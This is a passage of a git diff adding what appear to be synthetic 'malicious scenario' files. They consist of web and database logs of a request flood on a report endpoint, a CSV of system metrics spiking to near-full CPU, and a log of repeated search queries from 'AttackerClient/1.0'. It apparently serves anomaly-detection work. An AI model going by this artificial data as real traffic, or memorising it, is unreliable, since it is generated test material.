[15/Aug/2025:10:05:50 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:50 nginx[80]: 67.182.51.66 - - [15/Aug/2025:10:05:50 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:05:50 postgres[5678]: LOG: process 19432 still waiting for ShareLock on transaction 5661 after 1000.125 ms +Aug 15 10:05:55 nginx[80]: 236.99.103.115 - - [15/Aug/2025:10:05:55 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:55 nginx[80]: 67.182.51.66 - - [15/Aug/2025:10:05:55 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:05:55 nginx[80]: 207.77.242.110 - - [15/Aug/2025:10:05:55 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:05:55 nginx[80]: 206.157.147.188 - - [15/Aug/2025:10:05:55 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:06:00 nginx[80]: 238.142.245.149 - - [15/Aug/2025:10:06:00 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:06:00 nginx[80]: 169.208.212.141 - - [15/Aug/2025:10:06:00 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:06:00 nginx[80]: 232.141.2.101 - - [15/Aug/2025:10:06:00 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:06:00 nginx[80]: 117.119.13.79 - - [15/Aug/2025:10:06:00 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:06:00 web-app[2345]: ERROR: Connection pool exhausted. Could not get a DB connection. +Aug 15 10:06:00 web-app[2345]: CRITICAL: Maximum execution time of 30 seconds exceeded for request to /api/v1/reports/generate?type=full_financials +Aug 15 10:06:05 nginx[80]: 193.254.182.65 - - [15/Aug/2025:10:06:05 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:06:05 nginx[80]: 95.24.50.187 - - [15/Aug/2025:10:06:05 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:06:05 nginx[80]: 28.82.91.144 - - [15/Aug/2025:10:06:05 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:06:05 nginx[80]: 135.62.172.45 - - [15/Aug/2025:10:06:05 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:06:05 nginx[80]: 173.98.52.168 - - [15/Aug/2025:10:06:05 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:06:10 nginx[80]: 95.58.2.112 - - [15/Aug/2025:10:06:10 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:06:10 nginx[80]: 66.245.115.221 - - [15/Aug/2025:10:06:10 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:06:10 nginx[80]: 67.182.51.66 - - [15/Aug/2025:10:06:10 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:06:10 nginx[80]: 28.82.91.144 - - [15/Aug/2025:10:06:10 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:06:15 nginx[80]: 232.141.2.101 - - [15/Aug/2025:10:06:15 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:06:15 nginx[80]: 228.44.154.120 - - [15/Aug/2025:10:06:15 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:06:15 nginx[80]: 228.44.154.120 - - [15/Aug/2025:10:06:15 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:06:15 nginx[80]: 113.59.203.138 - - [15/Aug/2025:10:06:15 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:06:15 nginx[80]: 232.141.2.101 - - [15/Aug/2025:10:06:15 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:06:15 nginx[80]: 76.220.168.22 - - [15/Aug/2025:10:06:15 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:06:15 web-app[2345]: ERROR: Connection pool exhausted. Could not get a DB connection. +Aug 15 10:06:15 postgres[5678]: LOG: process 17645 still waiting for ShareLock on transaction 5119 after 1000.125 ms +Aug 15 10:06:20 nginx[80]: 98.200.217.253 - - [15/Aug/2025:10:06:20 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:06:20 nginx[80]: 187.85.97.85 - - [15/Aug/2025:10:06:20 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:06:20 nginx[80]: 219.215.112.2 - - [15/Aug/2025:10:06:20 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:06:20 nginx[80]: 246.244.93.63 - - [15/Aug/2025:10:06:20 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:06:20 nginx[80]: 134.240.105.194 - - [15/Aug/2025:10:06:20 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:06:20 nginx[80]: 6.175.20.195 - - [15/Aug/2025:10:06:20 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:06:20 web-app[2345]: CRITICAL: Maximum execution time of 30 seconds exceeded for request to /api/v1/reports/generate?type=full_financials +Aug 15 10:06:25 nginx[80]: 169.208.212.141 - - [15/Aug/2025:10:06:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:06:25 nginx[80]: 13.110.38.43 - - [15/Aug/2025:10:06:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:06:25 nginx[80]: 187.85.97.85 - - [15/Aug/2025:10:06:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:06:30 nginx[80]: 186.135.39.217 - - [15/Aug/2025:10:06:30 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:06:30 nginx[80]: 12.119.137.225 - - [15/Aug/2025:10:06:30 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:06:30 nginx[80]: 139.171.214.21 - - [15/Aug/2025:10:06:30 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:06:30 nginx[80]: 236.99.103.115 - - [15/Aug/2025:10:06:30 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:06:30 web-app[2345]: ERROR: Connection pool exhausted. Could not get a DB connection. +Aug 15 10:06:35 nginx[80]: 77.238.64.157 - - [15/Aug/2025:10:06:35 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:06:35 nginx[80]: 76.220.168.22 - - [15/Aug/2025:10:06:35 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:06:35 nginx[80]: 203.113.207.132 - - [15/Aug/2025:10:06:35 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:06:40 nginx[80]: 203.113.207.132 - - [15/Aug/2025:10:06:40 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:06:40 nginx[80]: 173.98.52.168 - - [15/Aug/2025:10:06:40 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:06:40 nginx[80]: 103.76.138.72 - - [15/Aug/2025:10:06:40 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:06:40 nginx[80]: 232.141.2.101 - - [15/Aug/2025:10:06:40 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:06:40 nginx[80]: 101.120.85.128 - - [15/Aug/2025:10:06:40 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:06:40 web-app[2345]: CRITICAL: Maximum execution time of 30 seconds exceeded for request to /api/v1/reports/generate?type=full_financials +Aug 15 10:06:40 postgres[5678]: LOG: process 15792 still waiting for ShareLock on transaction 5933 after 1000.125 ms +Aug 15 10:06:45 nginx[80]: 171.135.11.91 - - [15/Aug/2025:10:06:45 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:06:45 nginx[80]: 221.45.145.143 - - [15/Aug/2025:10:06:45 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:06:45 nginx[80]: 103.76.138.72 - - [15/Aug/2025:10:06:45 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:06:45 nginx[80]: 76.220.168.22 - - [15/Aug/2025:10:06:45 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:06:45 nginx[80]: 246.224.31.210 - - [15/Aug/2025:10:06:45 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:06:45 nginx[80]: 82.10.234.79 - - [15/Aug/2025:10:06:45 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:06:45 nginx[80]: 13.110.38.43 - - [15/Aug/2025:10:06:45 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:06:45 web-app[2345]: ERROR: Connection pool exhausted. Could not get a DB connection. +Aug 15 10:06:50 nginx[80]: 139.171.214.21 - - [15/Aug/2025:10:06:50 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:06:50 nginx[80]: 59.255.215.155 - - [15/Aug/2025:10:06:50 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:06:50 nginx[80]: 232.141.2.101 - - [15/Aug/2025:10:06:50 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:06:50 nginx[80]: 203.113.207.132 - - [15/Aug/2025:10:06:50 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:06:50 nginx[80]: 238.142.245.149 - - [15/Aug/2025:10:06:50 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:06:55 nginx[80]: 162.187.29.143 - - [15/Aug/2025:10:06:55 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:06:55 nginx[80]: 92.57.53.121 - - [15/Aug/2025:10:06:55 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:06:55 nginx[80]: 173.98.52.168 - - [15/Aug/2025:10:06:55 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:06:55 nginx[80]: 171.135.11.91 - - [15/Aug/2025:10:06:55 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:07:00 nginx[80]: 135.62.172.45 - - [15/Aug/2025:10:07:00 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:07:00 nginx[80]: 162.187.29.143 - - [15/Aug/2025:10:07:00 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:07:00 nginx[80]: 76.220.168.22 - - [15/Aug/2025:10:07:00 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:07:00 nginx[80]: 101.120.85.128 - - [15/Aug/2025:10:07:00 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:07:00 web-app[2345]: ERROR: Connection pool exhausted. Could not get a DB connection. +Aug 15 10:07:00 web-app[2345]: CRITICAL: Maximum execution time of 30 seconds exceeded for request to /api/v1/reports/generate?type=full_financials +Aug 15 10:07:05 nginx[80]: 22.36.52.200 - - [15/Aug/2025:10:07:05 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:07:05 nginx[80]: 193.254.182.65 - - [15/Aug/2025:10:07:05 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:07:05 nginx[80]: 103.157.153.134 - - [15/Aug/2025:10:07:05 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:07:05 postgres[5678]: LOG: process 15854 still waiting for ShareLock on transaction 5666 after 1000.125 ms +Aug 15 10:07:10 nginx[80]: 12.119.137.225 - - [15/Aug/2025:10:07:10 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:07:10 nginx[80]: 76.220.168.22 - - [15/Aug/2025:10:07:10 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:07:10 nginx[80]: 134.240.105.194 - - [15/Aug/2025:10:07:10 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:07:10 nginx[80]: 193.254.182.65 - - [15/Aug/2025:10:07:10 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:07:10 nginx[80]: 169.208.212.141 - - [15/Aug/2025:10:07:10 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:07:10 nginx[80]: 7.4.125.149 - - [15/Aug/2025:10:07:10 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:07:15 nginx[80]: 201.103.131.31 - - [15/Aug/2025:10:07:15 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:07:15 nginx[80]: 95.24.50.187 - - [15/Aug/2025:10:07:15 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:07:15 nginx[80]: 232.141.2.101 - - [15/Aug/2025:10:07:15 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:07:15 nginx[80]: 6.175.20.195 - - [15/Aug/2025:10:07:15 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:07:15 nginx[80]: 203.113.207.132 - - [15/Aug/2025:10:07:15 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:07:15 web-app[2345]: ERROR: Connection pool exhausted. Could not get a DB connection. +Aug 15 10:07:20 nginx[80]: 127.10.138.176 - - [15/Aug/2025:10:07:20 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:07:20 nginx[80]: 28.82.91.144 - - [15/Aug/2025:10:07:20 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:07:20 nginx[80]: 127.10.138.176 - - [15/Aug/2025:10:07:20 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:07:20 web-app[2345]: CRITICAL: Maximum execution time of 30 seconds exceeded for request to /api/v1/reports/generate?type=full_financials +Aug 15 10:07:25 nginx[80]: 59.71.26.124 - - [15/Aug/2025:10:07:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:07:25 nginx[80]: 228.44.154.120 - - [15/Aug/2025:10:07:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:07:25 nginx[80]: 98.200.217.253 - - [15/Aug/2025:10:07:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:07:25 nginx[80]: 57.62.203.214 - - [15/Aug/2025:10:07:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:07:25 nginx[80]: 171.135.11.91 - - [15/Aug/2025:10:07:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:07:25 nginx[80]: 66.245.115.221 - - [15/Aug/2025:10:07:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" diff --git a/mali_dataset/scenario_12/mali_12_8.csv b/mali_dataset/scenario_12/mali_12_8.csv new file mode 100644 index 0000000000000000000000000000000000000000..dfcee7d5af7de7a36fc90fa7b5cef42583d825aa --- /dev/null +++ b/mali_dataset/scenario_12/mali_12_8.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,16.198372268425274,35.452404069696854,38.787615858311675,0.8812122737532527,0.9777552713312481 +2025-07-02T12:00:05Z,17.01932165923042,39.73532682940362,19.07102434533553,1.110029252597911,0.6865709333006471 +2025-07-02T12:00:10Z,13.347979322614826,29.96595755776673,32.390654498986976,0.8198158393127034,0.584401329670965 +2025-07-02T12:00:15Z,10.981672923854926,39.053118670030194,18.39577731524971,0.841205365628558,0.9323505765462826 +2025-07-02T12:00:20Z,10.898132647498105,42.310123175103925,14.989741493703562,0.9581510395812323,0.5630298543716554 +2025-07-02T12:00:25Z,16.796764880956445,45.25638377833267,19.636406277201566,0.8431263526912971,1.07019410598523 +2025-07-02T12:00:30Z,11.918605690704123,36.599851334708966,30.611702522840478,0.848632423552687,0.7604467983490424 +2025-07-02T12:00:35Z,14.60268494527812,43.33987518987334,28.07643341366956,0.92413526832654,0.8827551983118049 +2025-07-02T12:00:40Z,17.17357064558842,39.70448809026406,26.86328397304132,0.80102339776904,0.9115745823379303 +2025-07-02T12:00:45Z,15.395239386522338,32.046782433350344,36.08095643073429,0.6628220281771078,1.102484528016265 +2025-07-02T12:00:50Z,15.254814857517468,34.16760402703486,43.93243220829023,0.7886882753209691,0.8586705594328671 +2025-07-02T12:00:55Z,20.94220594462812,40.675154792685504,16.93193595788023,1.3714552955124542,1.0291365079381891 +2025-07-02T12:01:00Z,19.46165844564582,33.81232288670577,33.66798638783966,0.982271009475884,0.6223813126725142 +2025-07-02T12:01:05Z,16.822211125502633,40.477769725688745,25.838148490343418,0.7693506284635039,0.7648094891453169 +2025-07-02T12:01:10Z,16.61367511610371,31.29180562113941,26.768184852488936,0.9165025755341414,0.8156727897153861 +2025-07-02T12:01:15Z,14.836874793624817,40.97649577826281,29.201864814348426,0.8931498189372544,1.049125109325063 +2025-07-02T12:01:20Z,14.806112070374928,38.27320731011045,25.709663196087288,1.0823300840652144,0.6008867237944179 +2025-07-02T12:01:25Z,13.297491538692196,32.8775322196788,40.23962861911343,0.9876201004524353,1.054314115340037 +2025-07-02T12:01:30Z,11.093735559457961,39.67680110854949,42.736749561080146,1.2102322150263947,0.9565960906482549 +2025-07-02T12:01:35Z,18.25426091201419,40.14393761264737,29.389103058631825,0.7129754304146113,0.98907018630319 +2025-07-02T12:01:40Z,18.11880254639643,35.970039349344084,35.96996672695592,0.9218486191392972,0.7407715576733765 +2025-07-02T12:01:45Z,12.451465960135954,32.08566862136206,36.51239371751683,0.726077992302496,0.9609342194223368 +2025-07-02T12:01:50Z,14.550401906281463,48.60687272721776,41.67339606894402,1.1018685993601705,0.904658062082749 +2025-07-02T12:01:55Z,12.127400325985136,34.08032315443358,33.587895931264356,0.8720174495711047,1.0996748350255114 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+2025-07-02T12:04:00Z,99.85526783688822,92.5359366163646,200.50459164750447,16.322330169860628,3.5015960739814105 +2025-07-02T12:04:05Z,98.00316770136574,93.54126597014246,282.5197914761178,16.97727101107291,2.6003768161160794 +2025-07-02T12:04:10Z,99.86327122362624,93.77636025458933,291.1452223941441,19.59609519012425,2.4085057078424428 +2025-07-02T12:04:15Z,99.44624081478192,93.88269417319404,201.99028911854924,13.925107448494494,2.5717878179121034 +2025-07-02T12:04:20Z,98.95954860276721,90.8824794170007,345.2761988731955,17.926214102413546,2.4825367763590114 +2025-07-02T12:04:25Z,98.89368249922713,86.21568363572953,341.92326426769114,16.637315310636133,1.6842601396083292 +2025-07-02T12:04:30Z,99.78351241569668,93.61032629608111,289.95956705943513,15.37507535315873,1.0867656513826516 +2025-07-02T12:04:35Z,98.15771452286724,93.41867030608263,226.6389220368743,11.86343122246789,1.946025268479053 +2025-07-02T12:04:40Z,98.2839437900827,91.42435263237616,238.6654399347978,17.746611965385245,1.8382988747776956 +2025-07-02T12:04:45Z,99.60657869482671,86.76216271434505,309.16723445958974,15.793880416992009,1.1334724206541136 +2025-07-02T12:04:50Z,98.69491720415617,91.7741788976686,329.06688997139963,16.140745974835617,1.290319646453325 +2025-07-02T12:04:55Z,98.68129629888261,90.18001175542578,270.91050090447783,13.647827664221097,1.2724916620682967 +2025-07-02T12:05:00Z,99.99541253304179,88.49895279470715,218.94854177868652,12.899378214877459,2.5656401361762535 +2025-07-02T12:05:05Z,99.93081090482956,87.80567522525705,349.5132622575773,15.358428194585574,1.8928377889905523 +2025-07-02T12:05:10Z,98.87177269205813,91.76359355531211,309.5536530908212,16.93310919547836,2.370396305880743 +2025-07-02T12:05:15Z,99.28454207268982,90.25449790444257,316.2049899330359,14.563092429511933,0.9885840795452825 +2025-07-02T12:05:20Z,99.57444803809481,91.9782242739816,229.09368795768938,14.423664079631076,1.6601591667370468 +2025-07-02T12:05:25Z,99.76419371882035,87.75284380426488,205.6619407352955,15.763416762708799,1.9058942883156846 +2025-07-02T12:05:30Z,98.1843854185636,94.18034961158057,202.65980419471222,11.206050206437942,2.1573864413090234 +2025-07-02T12:05:35Z,98.22999375405242,88.52907637311668,289.686548448038,18.17949388779433,2.92764707775997 +2025-07-02T12:05:40Z,99.47948781614978,85.23740363463764,289.9404873336067,15.881114513179366,1.8992493102213353 +2025-07-02T12:05:45Z,98.11881257610156,93.75361825139612,276.133519180263,15.365049143111095,2.012214524255074 +2025-07-02T12:05:50Z,98.72913159773434,87.95728401848122,204.0427579018731,15.17016649284249,2.106647025795212 +2025-07-02T12:05:55Z,99.31882952757124,92.38562208284294,220.4570168446135,13.52812610684971,1.8426170095228165 +2025-07-02T12:06:00Z,99.01807473818273,92.14302355241072,221.64152095381897,14.905526415169698,1.7224385865187524 +2025-07-02T12:06:05Z,99.8662332583468,88.09062463389051,337.07309557176893,11.787006884673428,2.082267282108665 +2025-07-02T12:06:10Z,99.66932310083227,88.32343197291495,337.8571980915599,15.755739273769343,2.758808015146098 +2025-07-02T12:06:15Z,99.02401919518981,93.19245197198319,239.33123105899494,17.283831921652624,2.252270592103799 +2025-07-02T12:06:20Z,98.126274891389,91.42606655161583,227.90281797331258,16.142470697901018,1.7930446847598622 +2025-07-02T12:06:25Z,98.08556500997068,86.35889241174566,271.79783163016117,18.564408135075663,0.9788517906079621 +2025-07-02T12:06:30Z,99.88781998204688,88.33124648650531,263.4292673227803,14.773090145379387,2.3428105785760205 +2025-07-02T12:06:35Z,98.27256086567375,86.52950171602578,311.75260894037655,16.408525609483746,2.5855302795637556 +2025-07-02T12:06:40Z,99.81816379337837,93.06148765098723,209.57078325487913,11.036250334035083,2.3856276983922404 +2025-07-02T12:06:45Z,99.7113577497449,88.01482319743637,337.06995453828205,16.692314880911667,1.756668337563312 +2025-07-02T12:06:50Z,98.58856588883309,91.28313500958333,271.5919202870777,14.513683194582697,1.4511837103400165 +2025-07-02T12:06:55Z,99.2629229892918,91.27390040082251,323.15691215961215,13.927483650450833,1.0628189542616648 +2025-07-02T12:07:00Z,99.93435405298219,92.1647720320474,236.9935786724072,13.325111468607123,3.528600591290964 +2025-07-02T12:07:05Z,99.0109728551464,85.71150685513838,223.44759057871744,16.416291633146212,1.9912943720838086 +2025-07-02T12:07:10Z,99.84852484053805,85.68404257842786,345.0752528284274,12.41833468928919,1.6004647311418911 +2025-07-02T12:07:15Z,99.5398261126163,94.16190530029498,267.3920344838729,16.23429025072347,2.6671892495862206 +2025-07-02T12:07:20Z,99.13033766936962,89.6578146140603,338.0131272142643,15.491996386996988,1.810996521192219 +2025-07-02T12:07:25Z,98.39619692914371,89.30577832083483,301.41649451253403,14.886393316752844,2.850153686352348 diff --git a/mali_dataset/scenario_12/mali_12_8.log b/mali_dataset/scenario_12/mali_12_8.log new file mode 100644 index 0000000000000000000000000000000000000000..b7c47f453f898592c3eadd4aba2bfaf3dd165d04 --- /dev/null +++ b/mali_dataset/scenario_12/mali_12_8.log @@ -0,0 +1,324 @@ +Jul 02 12:00:00 web-app[1234]: GET /api/v1/user/40 status=200 OK +Jul 02 12:00:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:20 web-app[1234]: GET /api/v1/user/68 status=200 OK +Jul 02 12:00:40 web-app[1234]: GET /api/v1/user/90 status=200 OK +Jul 02 12:00:50 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:00 web-app[1234]: GET /api/v1/user/1 status=200 OK +Jul 02 12:01:20 web-app[1234]: GET /api/v1/user/64 status=200 OK +Jul 02 12:01:40 web-app[1234]: GET /api/v1/user/57 status=200 OK +Jul 02 12:01:40 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:00 web-app[1234]: GET /api/v1/user/81 status=200 OK +Jul 02 12:02:20 web-app[1234]: GET /api/v1/user/99 status=200 OK +Jul 02 12:02:30 192.168.82.200 - - [02/Jul/2025:12:02:30 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_290" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:02:30 192.168.72.129 - - [02/Jul/2025:12:02:30 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_774" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:02:30 192.168.73.60 - - [02/Jul/2025:12:02:30 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_801" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:02:30 192.168.216.177 - - [02/Jul/2025:12:02:30 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_482" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:02:30 192.168.128.100 - - [02/Jul/2025:12:02:30 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_860" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:02:30 db-connector[5678]: ERROR Connection pool exhausted +Jul 02 12:02:35 192.168.66.186 - - [02/Jul/2025:12:02:35 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_735" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:02:35 192.168.224.30 - - [02/Jul/2025:12:02:35 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_746" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:02:35 192.168.42.243 - - [02/Jul/2025:12:02:35 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_376" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:02:40 192.168.173.250 - - [02/Jul/2025:12:02:40 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_374" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:02:40 192.168.195.12 - - [02/Jul/2025:12:02:40 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_350" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:02:40 192.168.115.37 - - [02/Jul/2025:12:02:40 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_749" 499 0 "-" 